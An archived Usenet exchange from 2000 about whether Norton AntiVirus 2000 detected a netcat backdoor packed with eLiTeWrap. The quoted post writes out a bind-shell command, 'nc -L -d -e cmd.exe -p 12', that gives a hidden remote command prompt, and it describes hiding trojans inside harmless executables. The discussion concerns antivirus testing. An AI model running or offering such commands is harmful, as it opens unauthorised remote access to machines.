🚀 go-pugleaf

On Fri, 21 Apr 2000 16:48:39 +0100, "Baba" <spammers@pleasedie.com>
wrote:

>Security guys would have heard of netcat (available from www.l0pht.com),
>"the TCP/IP swiss army knife".  It is available in Unix and NT versions.
>
>You may also have heard of "eLiTeWrap", a program which can be used to hide
>trojans (you can set it to pack a harmless .EXE file like a game, with
>BackOrifice, and have them both unpack and execute, one executing visibly,
>and one hidden).
>
>Of course, netcat is not a virus or trojan and therefore NAV2000 did not
>detect anything.  However, when I used eLiTeWrap to pack netcat with a batch
>file which contained the single line:
>
>nc -L -d -e cmd.exe -p 12
>
>(If this command was executed on an NT system, netcat would listen on port
>12, in stealth mode, and anybody connecting to port 12 would get a command
>prompt.)
>
>So anyway, I had created a program using eLiTeWrap which would, invisibly,
>unpack netcat and then run the above-mentioned batch file.
>
>And guess what?
>
>NAV2000 picked up this program I had created as being infected with
>"Backdoor.Trojan".  Is this Symantec's "Bloodhound" technology at work?
>It's amazing!

Maybe not. Objects detected by the Bloodhound heurisitics are normally
identified with "Bloodhound" in the name. Did you also pack some
innocent program with elitewrap and see what NAV had to say about
that? It may be alarming on elitewrap itself.